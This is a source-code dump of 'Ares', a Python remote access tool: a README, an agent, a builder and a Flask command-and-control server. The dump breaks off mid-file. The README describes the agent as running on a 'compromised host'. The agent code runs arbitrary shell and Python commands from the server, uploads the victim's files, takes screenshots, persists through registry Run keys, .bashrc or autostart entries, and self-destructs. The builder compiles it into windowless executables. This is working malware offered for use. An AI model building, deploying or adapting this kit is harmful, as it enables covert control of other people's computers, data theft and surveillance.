├── .gitignore ├── README.md ├── agent ├── agent.py ├── builder.py ├── config.py └── template_config.py ├── requirements.txt ├── server ├── api │ ├── GeoIP.dat │ └── __init__.py ├── ares.py ├── config.py ├── models.py └── webui │ ├── __init__.py │ ├── static │ ├── css │ │ ├── github-dark.css │ │ └── stylesheet.css │ ├── images │ │ └── bkg.png │ └── js │ │ └── jquery.md5.js │ └── templates │ ├── agent_console.html │ ├── agent_detail.html │ ├── agent_list.html │ ├── create_password.html │ ├── footer.html │ ├── header.html │ ├── index.html │ └── login.html └── wine_setup.sh /.gitignore: -------------------------------------------------------------------------------- 1 | venv 2 | *.pyc 3 | server/uploads 4 | *.db 5 | server/agents 6 | TODO 7 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Ares 2 | 3 | Ares is a Python Remote Access Tool. 4 | 5 | __Warning: Only use this software according to your current legislation. Misuse of this software can raise legal and ethical issues which I don't support nor can be held responsible for.__ 6 | 7 | Ares is made of two main programs: 8 | 9 | - A Command aNd Control server, which is a Web interface to administer the agents 10 | - An agent program, which is run on the compromised host, and ensures communication with the CNC 11 | 12 | The Web interface can be run on any server running Python. The agent can be compiled to native executables using **pyinstaller**. 13 | 14 | ## Setup 15 | 16 | Install the Python requirements: 17 | 18 | ``` 19 | pip install -r requirements.txt 20 | ``` 21 | 22 | Initialize the database: 23 | 24 | ``` 25 | cd server 26 | ./ares.py initdb 27 | ``` 28 | 29 | In order to compile Windows agents on Linux, setup wine (optional): 30 | 31 | ``` 32 | ./wine_setup.sh 33 | ``` 34 | 35 | ## Server 36 | 37 | Run with the builtin (debug) server: 38 | 39 | ``` 40 | ./ares.py runserver -h 0.0.0.0 -p 8080 --threaded 41 | ``` 42 | 43 | Or run using gunicorn: 44 | 45 | ``` 46 | gunicorn ares:app -b 0.0.0.0:8080 --threads 20 47 | ``` 48 | 49 | The server should now be accessible on http://localhost:8080 50 | 51 | ## Agent 52 | 53 | Run the Python agent (update config.py to suit your needs): 54 | 55 | ``` 56 | cd agent 57 | ./agent.py 58 | ``` 59 | 60 | Build a new agent to a standalone binary: 61 | 62 | ``` 63 | ./builder.py -p Linux --server http://localhost:8080 -o agent 64 | ./agent 65 | ``` 66 | 67 | To see a list of supported options, run ./builder.py -h 68 | 69 | ``` 70 | ./agent/builder.py -h 71 | usage: builder.py [-h] -p PLATFORM --server SERVER -o OUTPUT 72 | [--hello-interval HELLO_INTERVAL] [--idle_time IDLE_TIME] 73 | [--max_failed_connections MAX_FAILED_CONNECTIONS] 74 | [--persistent] 75 | 76 | Builds an Ares agent. 77 | 78 | optional arguments: 79 | -h, --help show this help message and exit 80 | -p PLATFORM, --platform PLATFORM 81 | Target platform (Windows, Linux). 82 | --server SERVER Address of the CnC server (e.g http://localhost:8080). 83 | -o OUTPUT, --output OUTPUT 84 | Output file name. 85 | --hello-interval HELLO_INTERVAL 86 | Delay (in seconds) between each request to the CnC. 87 | --idle_time IDLE_TIME 88 | Inactivity time (in seconds) after which to go idle. 89 | In idle mode, the agent pulls commands less often 90 | (every seconds). 91 | --max_failed_connections MAX_FAILED_CONNECTIONS 92 | The agent will self destruct if no contact with the 93 | CnC can be made times in a 94 | row. 95 | --persistent Automatically install the agent on first run. 96 | ``` 97 | 98 | ### Supported agent commands 99 | 100 | ``` 101 | 102 | Executes the command in a shell and return its output. 103 | 104 | upload 105 | Uploads to server. 106 | 107 | download 108 | Downloads a file through HTTP(S). 109 | 110 | zip 111 | Creates a zip archive of the folder. 112 | 113 | screenshot 114 | Takes a screenshot. 115 | 116 | python 117 | Runs a Python command or local file. 118 | 119 | persist 120 | Installs the agent. 121 | 122 | clean 123 | Uninstalls the agent. 124 | 125 | exit 126 | Kills the agent. 127 | 128 | help 129 | This help. 130 | ``` 131 | -------------------------------------------------------------------------------- /agent/agent.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # coding: utf-8 3 | 4 | import requests 5 | import time 6 | import os 7 | import subprocess 8 | import platform 9 | import shutil 10 | import sys 11 | import traceback 12 | import threading 13 | import uuid 14 | import StringIO 15 | import zipfile 16 | import tempfile 17 | import socket 18 | import getpass 19 | if os.name == 'nt': 20 | from PIL import ImageGrab 21 | else: 22 | import pyscreenshot as ImageGrab 23 | 24 | import config 25 | 26 | 27 | def threaded(func): 28 | def wrapper(*_args, **kwargs): 29 | t = threading.Thread(target=func, args=_args) 30 | t.start() 31 | return 32 | return wrapper 33 | 34 | 35 | class Agent(object): 36 | 37 | def __init__(self): 38 | self.idle = True 39 | self.silent = False 40 | self.platform = platform.system() + " " + platform.release() 41 | self.last_active = time.time() 42 | self.failed_connections = 0 43 | self.uid = self.get_UID() 44 | self.hostname = socket.gethostname() 45 | self.username = getpass.getuser() 46 | 47 | def get_install_dir(self): 48 | install_dir = None 49 | if platform.system() == 'Linux': 50 | install_dir = self.expand_path('~/.ares') 51 | elif platform.system() == 'Windows': 52 | install_dir = os.path.join(os.getenv('USERPROFILE'), 'ares') 53 | if os.path.exists(install_dir): 54 | return install_dir 55 | else: 56 | return None 57 | 58 | def is_installed(self): 59 | return self.get_install_dir() 60 | 61 | def get_consecutive_failed_connections(self): 62 | if self.is_installed(): 63 | install_dir = self.get_install_dir() 64 | check_file = os.path.join(install_dir, "failed_connections") 65 | if os.path.exists(check_file): 66 | with open(check_file, "r") as f: 67 | return int(f.read()) 68 | else: 69 | return 0 70 | else: 71 | return self.failed_connections 72 | 73 | def update_consecutive_failed_connections(self, value): 74 | if self.is_installed(): 75 | install_dir = self.get_install_dir() 76 | check_file = os.path.join(install_dir, "failed_connections") 77 | with open(check_file, "w") as f: 78 | f.write(str(value)) 79 | else: 80 | self.failed_connections = value 81 | 82 | def log(self, to_log): 83 | """ Write data to agent log """ 84 | print(to_log) 85 | 86 | def get_UID(self): 87 | """ Returns a unique ID for the agent """ 88 | return getpass.getuser() + "_" + str(uuid.getnode()) 89 | 90 | def server_hello(self): 91 | """ Ask server for instructions """ 92 | req = requests.post(config.SERVER + '/api/' + self.uid + '/hello', 93 | json={'platform': self.platform, 'hostname': self.hostname, 'username': self.username}) 94 | return req.text 95 | 96 | def send_output(self, output, newlines=True): 97 | """ Send console output to server """ 98 | if self.silent: 99 | self.log(output) 100 | return 101 | if not output: 102 | return 103 | if newlines: 104 | output += "\n\n" 105 | req = requests.post(config.SERVER + '/api/' + self.uid + '/report', 106 | data={'output': output}) 107 | 108 | def expand_path(self, path): 109 | """ Expand environment variables and metacharacters in a path """ 110 | return os.path.expandvars(os.path.expanduser(path)) 111 | 112 | @threaded 113 | def runcmd(self, cmd): 114 | """ Runs a shell command and returns its output """ 115 | try: 116 | proc = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 117 | out, err = proc.communicate() 118 | output = (out + err) 119 | self.send_output(output) 120 | except Exception as exc: 121 | self.send_output(traceback.format_exc()) 122 | 123 | @threaded 124 | def python(self, command_or_file): 125 | """ Runs a python command or a python file and returns the output """ 126 | new_stdout = StringIO.StringIO() 127 | old_stdout = sys.stdout 128 | sys.stdout = new_stdout 129 | new_stderr = StringIO.StringIO() 130 | old_stderr = sys.stderr 131 | sys.stderr = new_stderr 132 | if os.path.exists(command_or_file): 133 | self.send_output("[*] Running python file...") 134 | with open(command_or_file, 'r') as f: 135 | python_code = f.read() 136 | try: 137 | exec(python_code) 138 | except Exception as exc: 139 | self.send_output(traceback.format_exc()) 140 | else: 141 | self.send_output("[*] Running python command...") 142 | try: 143 | exec(command_or_file) 144 | except Exception as exc: 145 | self.send_output(traceback.format_exc()) 146 | sys.stdout = old_stdout 147 | sys.stderr = old_stderr 148 | self.send_output(new_stdout.getvalue() + new_stderr.getvalue()) 149 | 150 | def cd(self, directory): 151 | """ Change current directory """ 152 | os.chdir(self.expand_path(directory)) 153 | 154 | @threaded 155 | def upload(self, file): 156 | """ Uploads a local file to the server """ 157 | file = self.expand_path(file) 158 | try: 159 | if os.path.exists(file) and os.path.isfile(file): 160 | self.send_output("[*] Uploading %s..." % file) 161 | requests.post(config.SERVER + '/api/' + self.uid + '/upload', 162 | files={'uploaded': open(file, 'rb')}) 163 | else: 164 | self.send_output('[!] No such file: ' + file) 165 | except Exception as exc: 166 | self.send_output(traceback.format_exc()) 167 | 168 | @threaded 169 | def download(self, file, destination=''): 170 | """ Downloads a file the the agent host through HTTP(S) """ 171 | try: 172 | destination = self.expand_path(destination) 173 | if not destination: 174 | destination= file.split('/')[-1] 175 | self.send_output("[*] Downloading %s..." % file) 176 | req = requests.get(file, stream=True) 177 | with open(destination, 'wb') as f: 178 | for chunk in req.iter_content(chunk_size=8000): 179 | if chunk: 180 | f.write(chunk) 181 | self.send_output("[+] File downloaded: " + destination) 182 | except Exception as exc: 183 | self.send_output(traceback.format_exc()) 184 | 185 | def persist(self): 186 | """ Installs the agent """ 187 | if not getattr(sys, 'frozen', False): 188 | self.send_output('[!] Persistence only supported on compiled agents.') 189 | return 190 | if self.is_installed(): 191 | self.send_output('[!] Agent seems to be already installed.') 192 | return 193 | if platform.system() == 'Linux': 194 | persist_dir = self.expand_path('~/.ares') 195 | if not os.path.exists(persist_dir): 196 | os.makedirs(persist_dir) 197 | agent_path = os.path.join(persist_dir, os.path.basename(sys.executable)) 198 | shutil.copyfile(sys.executable, agent_path) 199 | os.system('chmod +x ' + agent_path) 200 | if os.path.exists(self.expand_path("~/.config/autostart/")): 201 | desktop_entry = "[Desktop Entry]\nVersion=1.0\nType=Application\nName=Ares\nExec=%s\n" % agent_path 202 | with open(self.expand_path('~/.config/autostart/ares.desktop'), 'w') as f: 203 | f.write(desktop_entry) 204 | else: 205 | with open(self.expand_path("~/.bashrc"), "a") as f: 206 | f.write("\n(if [ $(ps aux|grep " + os.path.basename(sys.executable) + "|wc -l) -lt 2 ]; then " + agent_path + ";fi&)\n") 207 | elif platform.system() == 'Windows': 208 | persist_dir = os.path.join(os.getenv('USERPROFILE'), 'ares') 209 | if not os.path.exists(persist_dir): 210 | os.makedirs(persist_dir) 211 | agent_path = os.path.join(persist_dir, os.path.basename(sys.executable)) 212 | shutil.copyfile(sys.executable, agent_path) 213 | cmd = "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v ares /t REG_SZ /d \"%s\"" % agent_path 214 | subprocess.Popen(cmd, shell=True) 215 | self.send_output('[+] Agent installed.') 216 | 217 | def clean(self): 218 | """ Uninstalls the agent """ 219 | if platform.system() == 'Linux': 220 | persist_dir = self.expand_path('~/.ares') 221 | if os.path.exists(persist_dir): 222 | shutil.rmtree(persist_dir) 223 | desktop_entry = self.expand_path('~/.config/autostart/ares.desktop') 224 | if os.path.exists(desktop_entry): 225 | os.remove(desktop_entry) 226 | os.system("grep -v .ares .bashrc > .bashrc.tmp;mv .bashrc.tmp .bashrc") 227 | elif platform.system() == 'Windows': 228 | persist_dir = os.path.join(os.getenv('USERPROFILE'), 'ares') 229 | cmd = "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v ares" 230 | subprocess.Popen(cmd, shell=True) 231 | cmd = "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /f /v ares /t REG_SZ /d \"cmd.exe /c del /s /q %s & rmdir %s\"" % (persist_dir, persist_dir) 232 | subprocess.Popen(cmd, shell=True) 233 | self.send_output('[+] Agent removed successfully.') 234 | 235 | def exit(self): 236 | """ Kills the agent """ 237 | self.send_output('[+] Exiting... (bye!)') 238 | sys.exit(0) 239 | 240 | @threaded 241 | def zip(self, zip_name, to_zip): 242 | """ Zips a folder or file """ 243 | try: 244 | zip_name = self.expand_path(zip_name) 245 | to_zip = self.expand_path(to_zip) 246 | if not os.path.exists(to_zip): 247 | self.send_output("[+] No such file or directory: %s" % to_zip) 248 | return 249 | self.send_output("[*] Creating zip archive...") 250 | zip_file = zipfile.ZipFile(zip_name, 'w', zipfile.ZIP_DEFLATED) 251 | if os.path.isdir(to_zip): 252 | relative_path = os.path.dirname(to_zip) 253 | for root, dirs, files in os.walk(to_zip): 254 | for file in files: 255 | zip_file.write(os.path.join(root, file), os.path.join(root, file).replace(relative_path, '', 1)) 256 | else: 257 | zip_file.write(to_zip, os.path.basename(to_zip)) 258 | zip_file.close() 259 | self.send_output("[+] Archive created: %s" % zip_name) 260 | except Exception as exc: 261 | self.send_output(traceback.format_exc()) 262 | 263 | @threaded 264 | def screenshot(self): 265 | """ Takes a screenshot and uploads it to the server""" 266 | screenshot = ImageGrab.grab() 267 | tmp_file = tempfile.NamedTemporaryFile() 268 | screenshot_file = tmp_file.name + ".png" 269 | tmp_file.close() 270 | screenshot.save(screenshot_file) 271 | self.upload(screenshot_file) 272 | 273 | def help(self): 274 | """ Displays the help """ 275 | self.send_output(config.HELP) 276 | 277 | def run(self): 278 | """ Main loop """ 279 | self.silent = True 280 | if config.PERSIST: 281 | try: 282 | self.persist() 283 | except: 284 | self.log("Failed executing persistence") 285 | self.silent = False 286 | while True: 287 | try: 288 | todo = self.server_hello() 289 | self.update_consecutive_failed_connections(0) 290 | # Something to do ? 291 | if todo: 292 | commandline = todo 293 | self.idle = False 294 | self.last_active = time.time() 295 | self.send_output('$ ' + commandline) 296 | split_cmd = commandline.split(" ") 297 | command = split_cmd[0] 298 | args = [] 299 | if len(split_cmd) > 1: 300 | args = split_cmd[1:] 301 | try: 302 | if command == 'cd': 303 | if not args: 304 | self.send_output('usage: cd ') 305 | else: 306 | self.cd(args[0]) 307 | elif command == 'upload': 308 | if not args: 309 | self.send_output('usage: upload ') 310 | else: 311 | self.upload(args[0],) 312 | elif command == 'download': 313 | if not args: 314 | self.send_output('usage: download ') 315 | else: 316 | if len(args) == 2: 317 | self.download(args[0], args[1]) 318 | else: 319 | self.download(args[0]) 320 | elif command == 'clean': 321 | self.clean() 322 | elif command == 'persist': 323 | self.persist() 324 | elif command == 'exit': 325 | self.exit() 326 | elif command == 'zip': 327 | if not args or len(args) < 2: 328 | self.send_output('usage: zip ') 329 | else: 330 | self.zip(args[0], " ".join(args[1:])) 331 | elif command == 'python': 332 | if not args: 333 | self.send_output('usage: python or python ') 334 | else: 335 | self.python(" ".join(args)) 336 | elif command == 'screenshot': 337 | self.screenshot() 338 | elif command == 'help': 339 | self.help() 340 | else: 341 | self.runcmd(commandline) 342 | except Exception as exc: 343 | self.send_output(traceback.format_exc()) 344 | else: 345 | if self.idle: 346 | time.sleep(config.HELLO_INTERVAL) 347 | elif (time.time() - self.last_active) > config.IDLE_TIME: 348 | self.log("Switching to idle mode...") 349 | self.idle = True 350 | else: 351 | time.sleep(0.5) 352 | except Exception as exc: 353 | self.log(traceback.format_exc()) 354 | failed_connections = self.get_consecutive_failed_connections() 355 | failed_connections += 1 356 | self.update_consecutive_failed_connections(failed_connections) 357 | self.log("Consecutive failed connections: %d" % failed_connections) 358 | if failed_connections > config.MAX_FAILED_CONNECTIONS: 359 | self.silent = True 360 | self.clean() 361 | self.exit() 362 | time.sleep(config.HELLO_INTERVAL) 363 | 364 | def main(): 365 | agent = Agent() 366 | agent.run() 367 | 368 | if __name__ == "__main__": 369 | main() 370 | -------------------------------------------------------------------------------- /agent/builder.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | import os 4 | import shutil 5 | import tempfile 6 | 7 | 8 | def build_agent(output, server_url, platform, hello_interval, idle_time, max_failed_connections, persist): 9 | prog_name = os.path.basename(output) 10 | platform = platform.lower() 11 | if platform not in ['linux', 'windows']: 12 | print "[!] Supported platforms are 'Linux' and 'Windows'" 13 | exit(0) 14 | if os.name != 'posix' and platform == 'linux': 15 | print "[!] Can only build Linux agents on Linux." 16 | exit(0) 17 | working_dir = os.path.join(tempfile.gettempdir(), 'ares') 18 | if os.path.exists(working_dir): 19 | shutil.rmtree(working_dir) 20 | agent_dir = os.path.dirname(__file__) 21 | shutil.copytree(agent_dir, working_dir) 22 | with open(os.path.join(working_dir, "config.py"), 'w') as agent_config: 23 | with open(os.path.join(agent_dir, "template_config.py")) as f: 24 | config_file = f.read() 25 | config_file = config_file.replace("__SERVER__", server_url.rstrip('/')) 26 | config_file = config_file.replace("__HELLO_INTERVAL__", str(hello_interval)) 27 | config_file = config_file.replace("__IDLE_TIME__", str(idle_time)) 28 | config_file = config_file.replace("__MAX_FAILED_CONNECTIONS__", str(max_failed_connections)) 29 | config_file = config_file.replace("__PERSIST__", str(persist)) 30 | agent_config.write(config_file) 31 | cwd = os.getcwd() 32 | os.chdir(working_dir) 33 | shutil.move('agent.py', prog_name + '.py') 34 | if platform == 'linux': 35 | os.system('pyinstaller --noconsole --onefile ' + prog_name + '.py') 36 | agent_file = os.path.join(working_dir, 'dist', prog_name) 37 | elif platform == 'windows': 38 | if os.name == 'posix': 39 | os.system('wine C:/Python27/Scripts/pyinstaller --noconsole --onefile ' + prog_name + '.py') 40 | else: 41 | os.system('pyinstaller --noconsole --onefile ' + prog_name + '.py') 42 | if not prog_name.endswith(".exe"): 43 | prog_name += ".exe" 44 | agent_file = os.path.join(working_dir, 'dist', prog_name) 45 | os.chdir(cwd) 46 | os.rename(agent_file, output) 47 | shutil.rmtree(working_dir) 48 | print "[+] Agent built successfully: %s" % output 49 | 50 | 51 | def main(): 52 | from argparse import ArgumentParser 53 | parser = ArgumentParser(description="Builds an Ares agent.") 54 | parser.add_argument('-p', '--platform', required=True, help="Target platform (Windows, Linux).") 55 | parser.add_argument('--server', required=True, help="Address of the CnC server (e.g http://localhost:8080).") 56 | parser.add_argument('-o', '--output', required=True, help="Output file name.") 57 | parser.add_argument('--hello-interval', type=int, default=1, help="Delay (in seconds) between each request to the CnC.") 58 | parser.add_argument('--idle-time', type=int, default=60, help="Inactivity time (in seconds) after which to go idle. In idle mode, the agent pulls commands less often (every seconds).") 59 | parser.add_argument('--max-failed-connections', type=int, default=20, help="The agent will self destruct if no contact with the CnC can be made times in a row.") 60 | parser.add_argument('--persistent', action='store_true', help="Automatically install the agent on first run.") 61 | args = parser.parse_args() 62 | 63 | build_agent( 64 | output=args.output, 65 | server_url=args.server, 66 | platform=args.platform, 67 | hello_interval=args.hello_interval, 68 | idle_time=args.idle_time, 69 | max_failed_connections=args.max_failed_connections, 70 | persist=args.persistent) 71 | 72 | 73 | if __name__ == "__main__": 74 | main() -------------------------------------------------------------------------------- /agent/config.py: -------------------------------------------------------------------------------- 1 | SERVER = "http://localhost:8080" 2 | HELLO_INTERVAL = 2 3 | IDLE_TIME = 60 4 | MAX_FAILED_CONNECTIONS = 10 5 | PERSIST = True 6 | HELP = """ 7 | 8 | Executes the command in a shell and return its output. 9 | 10 | upload 11 | Uploads to server. 12 | 13 | download 14 | Downloads a file through HTTP(S). 15 | 16 | zip 17 | Creates a zip archive of the folder. 18 | 19 | screenshot 20 | Takes a screenshot. 21 | 22 | python 23 | Runs a Python command or local file. 24 | 25 | persist 26 | Installs the agent. 27 | 28 | clean 29 | Uninstalls the agent. 30 | 31 | exit 32 | Kills the agent. 33 | """ 34 | -------------------------------------------------------------------------------- /agent/template_config.py: -------------------------------------------------------------------------------- 1 | SERVER = "__SERVER__" 2 | HELLO_INTERVAL = __HELLO_INTERVAL__ 3 | IDLE_TIME = __IDLE_TIME__ 4 | MAX_FAILED_CONNECTIONS = __MAX_FAILED_CONNECTIONS__ 5 | PERSIST = __PERSIST__ 6 | HELP = """ 7 | 8 | Executes the command in a shell and return its output. 9 | 10 | upload 11 | Uploads to server. 12 | 13 | download 14 | Downloads a file through HTTP(S). 15 | 16 | zip 17 | Creates a zip archive of the folder. 18 | 19 | screenshot 20 | Takes a screenshot. 21 | 22 | python 23 | Runs a Python command or local file. 24 | 25 | persist 26 | Installs the agent. 27 | 28 | clean 29 | Uninstalls the agent. 30 | 31 | exit 32 | Kills the agent. 33 | """ 34 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | altgraph==0.14 2 | certifi==2017.11.5 3 | chardet==3.0.4 4 | click==6.7 5 | EasyProcess==0.2.3 6 | Flask==0.12.2 7 | Flask-Script==2.0.6 8 | Flask-SQLAlchemy==2.3.2 9 | future==0.16.0 10 | gunicorn==19.7.1 11 | idna==2.6 12 | itsdangerous==0.24 13 | Jinja2==2.10 14 | macholib==1.8 15 | MarkupSafe==1.0 16 | olefile==0.44 17 | pefile==2017.11.5 18 | Pillow==4.3.0 19 | pygeoip==0.3.2 20 | PyInstaller==3.3 21 | pyscreenshot==0.4.2 22 | requests==2.18.4 23 | SQLAlchemy==1.1.15 24 | urllib3==1.22 25 | Werkzeug==0.12.2 26 | -------------------------------------------------------------------------------- /server/api/GeoIP.dat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sweetsoftware/Ares/886afe27daac7ef5d1b269eb6dc93b639b6cd2cd/server/api/GeoIP.dat -------------------------------------------------------------------------------- /server/api/__init__.py: -------------------------------------------------------------------------------- 1 | import json 2 | import base64 3 | import os 4 | from datetime import datetime 5 | import tempfile 6 | import shutil 7 | 8 | from flask import Blueprint 9 | from flask import request 10 | from flask import abort 11 | from flask import current_app 12 | from flask import url_for 13 | from flask import send_file 14 | from flask import render_template 15 | from werkzeug.utils import secure_filename 16 | import pygeoip 17 | from flask import flash 18 | from flask import redirect 19 | from flask import escape 20 | import cgi 21 | 22 | from webui import require_admin 23 | from models import db 24 | from models import Agent 25 | from models import Command 26 | 27 | 28 | api = Blueprint('api', __name__) 29 | GEOIP = pygeoip.GeoIP('api/GeoIP.dat', pygeoip.MEMORY_CACHE) 30 | 31 | 32 | def geolocation(ip): 33 | geoloc_str = 'Local' 34 | info = GEOIP.record_by_addr(ip) 35 | if info: 36 | geoloc_str = info['city'] + ' [' + info['country_code'] + ']' 37 | return geoloc_str 38 | 39 | 40 | @api.route('/massexec', methods=['POST']) 41 | @require_admin 42 | def mass_execute(): 43 | selection = request.form.getlist('selection') 44 | if 'execute' in request.form: 45 | for agent_id in selection: 46 | Agent.query.get(agent_id).push_command(request.form['cmd']) 47 | flash('Executed "%s" on %s agents' % (request.form['cmd'], len(selection))) 48 | elif 'delete' in request.form: 49 | for agent_id in selection: 50 | db.session.delete(Agent.query.get(agent_id)) 51 | db.session.commit() 52 | flash('Deleted %s agents' % len(selection)) 53 | return redirect(url_for('webui.agent_list')) 54 | 55 | 56 | @api.route('//push', methods=['POST']) 57 | @require_admin 58 | def push_command(agent_id): 59 | agent = Agent.query.get(agent_id) 60 | if not agent: 61 | abort(404) 62 | agent.push_command(request.form['cmdline']) 63 | return '' 64 | 65 | 66 | @api.route('//stdout') 67 | @require_admin 68 | def agent_console(agent_id): 69 | agent = Agent.query.get(agent_id) 70 | return render_template('agent_console.html', agent=agent) 71 | 72 | 73 | @api.route('//hello', methods=['POST']) 74 | def get_command(agent_id): 75 | agent = Agent.query.get(agent_id) 76 | if not agent: 77 | agent = Agent(agent_id) 78 | db.session.add(agent) 79 | db.session.commit() 80 | # Report basic info about the agent 81 | info = request.json 82 | if info: 83 | if 'platform' in info: 84 | agent.operating_system = info['platform'] 85 | if 'hostname' in info: 86 | agent.hostname = info['hostname'] 87 | if 'username' in info: 88 | agent.username = info['username'] 89 | agent.last_online = datetime.now() 90 | agent.remote_ip = request.remote_addr 91 | agent.geolocation = geolocation(agent.remote_ip) 92 | db.session.commit() 93 | # Return pending commands for the agent 94 | cmd_to_run = '' 95 | cmd = agent.commands.order_by(Command.timestamp.desc()).first() 96 | if cmd: 97 | cmd_to_run = cmd.cmdline 98 | db.session.delete(cmd) 99 | db.session.commit() 100 | return cmd_to_run 101 | 102 | 103 | @api.route('//report', methods=['POST']) 104 | def report_command(agent_id): 105 | agent = Agent.query.get(agent_id) 106 | if not agent: 107 | abort(404) 108 | out = request.form['output'] 109 | agent.output += cgi.escape(out) 110 | db.session.add(agent) 111 | db.session.commit() 112 | return '' 113 | 114 | 115 | @api.route('//upload', methods=['POST']) 116 | def upload(agent_id): 117 | agent = Agent.query.get(agent_id) 118 | if not agent: 119 | abort(404) 120 | for file in request.files.values(): 121 | upload_dir = os.path.join(current_app.config['UPLOAD_FOLDER']) 122 | agent_dir = agent_id 123 | store_dir = os.path.join(upload_dir, agent_dir) 124 | filename = secure_filename(file.filename) 125 | if not os.path.exists(store_dir): 126 | os.makedirs(store_dir) 127 | file_path = os.path.join(store_dir, filename) 128 | while os.path.exists(file_path): 129 | filename = "_" + filename 130 | file_path = os.path.join(store_dir, filename) 131 | file.save(file_path) 132 | download_link = url_for('webui.uploads', path=agent_dir + '/' + filename) 133 | agent.output += '[*] File uploaded: ' + download_link + '\n' 134 | db.session.add(agent) 135 | db.session.commit() 136 | return '' 137 | -------------------------------------------------------------------------------- /server/ares.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | import random 4 | import string 5 | import hashlib 6 | from functools import wraps 7 | import datetime 8 | import os 9 | import shutil 10 | import tempfile 11 | 12 | from flask import Flask 13 | from flask_script import Manager 14 | 15 | from models import db 16 | from models import Agent 17 | from models import Command 18 | from webui import webui 19 | from api import api 20 | from config import config 21 | 22 | 23 | app = Flask(__name__) 24 | app.config.from_object(config['dev']) 25 | app.register_blueprint(webui) 26 | app.register_blueprint(api, url_prefix="/api") 27 | db.init_app(app) 28 | manager = Manager(app) 29 | 30 | 31 | @app.after_request 32 | def headers(response): 33 | response.headers["Server"] = "Ares" 34 | return response 35 | 36 | 37 | @manager.command 38 | def initdb(): 39 | db.drop_all() 40 | db.create_all() 41 | db.session.commit() 42 | 43 | 44 | if __name__ == '__main__': 45 | manager.run() 46 | -------------------------------------------------------------------------------- /server/config.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | 4 | 5 | class Config: 6 | SECRET_KEY = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(60)) 7 | SQLALCHEMY_DATABASE_URI = 'sqlite:///ares.db' 8 | SQLALCHEMY_TRACK_MODIFICATIONS = False 9 | UPLOAD_FOLDER = 'uploads' 10 | 11 | 12 | class DevelopmentConfig(Config): 13 | DEBUG = True 14 | 15 | 16 | class ProductionConfig(Config): 17 | DEBUG = False 18 | 19 | 20 | config = { 21 | 'dev': DevelopmentConfig, 22 | 'prod': ProductionConfig 23 | } 24 | -------------------------------------------------------------------------------- /server/models.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | from datetime import datetime 4 | 5 | from flask_sqlalchemy import SQLAlchemy 6 | 7 | 8 | db = SQLAlchemy() 9 | 10 | 11 | class Agent(db.Model): 12 | __tablename__ = 'agents' 13 | id = db.Column(db.String(100), primary_key=True) 14 | display_name = db.Column(db.String(100)) 15 | last_online = db.Column(db.DateTime()) 16 | operating_system = db.Column(db.String(100)) 17 | remote_ip = db.Column(db.String(100)) 18 | geolocation = db.Column(db.String(100)) 19 | output = db.Column(db.Text(), default="") 20 | hostname = db.Column(db.String(100)) 21 | username = db.Column(db.String(100)) 22 | 23 | def __init__(self, uid): 24 | self.id = uid 25 | self.display_name = self.id 26 | 27 | def push_command(self, cmdline): 28 | cmd = Command() 29 | cmd.agent = self 30 | cmd.cmdline = cmdline 31 | cmd.timestamp = datetime.now() 32 | db.session.add(cmd) 33 | db.session.commit() 34 | 35 | def rename(self, new_name): 36 | self.display_name = new_name 37 | db.session.commit() 38 | 39 | def is_online(self): 40 | return (datetime.now() - self.last_online).seconds < 30 41 | 42 | 43 | class Command(db.Model): 44 | __tablename__ = 'commands' 45 | id = db.Column(db.Integer, primary_key=True, autoincrement=True) 46 | agent_id = db.Column(db.Integer(), db.ForeignKey('agents.id')) 47 | agent = db.relationship('Agent', backref=db.backref('commands', lazy='dynamic')) 48 | cmdline = db.Column(db.String(255)) 49 | timestamp = db.Column(db.DateTime(), default=datetime.now) 50 | 51 | 52 | class User(db.Model): 53 | __tablename__ = 'users' 54 | id = db.Column(db.Integer, primary_key=True) 55 | username = db.Column(db.String(100), unique=True) 56 | password = db.Column(db.String(200)) 57 | salt = db.Column(db.String(100)) 58 | last_login_time = db.Column(db.DateTime()) 59 | last_login_ip = db.Column(db.String(100)) 60 | -------------------------------------------------------------------------------- /server/webui/__init__.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | from functools import wraps 4 | import hashlib 5 | from datetime import datetime 6 | 7 | from flask import Blueprint 8 | from flask import abort 9 | from flask import request 10 | from flask import redirect 11 | from flask import render_template 12 | from flask import session 13 | from flask import url_for 14 | from flask import flash 15 | from flask import send_from_directory 16 | from flask import current_app 17 | 18 | from models import db 19 | from models import Agent 20 | from models import Command 21 | from models import User 22 | 23 | 24 | def hash_and_salt(password): 25 | password_hash = hashlib.sha256() 26 | salt = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(8)) 27 | password_hash.update(salt + request.form['password']) 28 | return password_hash.hexdigest(), salt 29 | 30 | 31 | def require_admin(func): 32 | @wraps(func) 33 | def wrapper(*args, **kwargs): 34 | if 'username' in session and session['username'] == 'admin': 35 | return func(*args, **kwargs) 36 | else: 37 | return redirect(url_for('webui.login')) 38 | return wrapper 39 | 40 | 41 | webui = Blueprint('webui', __name__, static_folder='static', static_url_path='/static/webui', template_folder='templates') 42 | 43 | 44 | @webui.route('/') 45 | @require_admin 46 | def index(): 47 | return render_template('index.html') 48 | 49 | 50 | @webui.route('/login', methods=['GET', 'POST']) 51 | def login(): 52 | admin_user = User.query.filter_by(username='admin').first() 53 | if not admin_user: 54 | if request.method == 'POST': 55 | if 'password' in request.form: 56 | password_hash, salt = hash_and_salt(request.form['password']) 57 | new_user = User() 58 | new_user.username = 'admin' 59 | new_user.password = password_hash 60 | new_user.salt = salt 61 | db.session.add(new_user) 62 | db.session.commit() 63 | flash('Password set successfully. Please log in.') 64 | return redirect(url_for('webui.login')) 65 | return render_template('create_password.html') 66 | if request.method == 'POST': 67 | if request.form['password']: 68 | password_hash 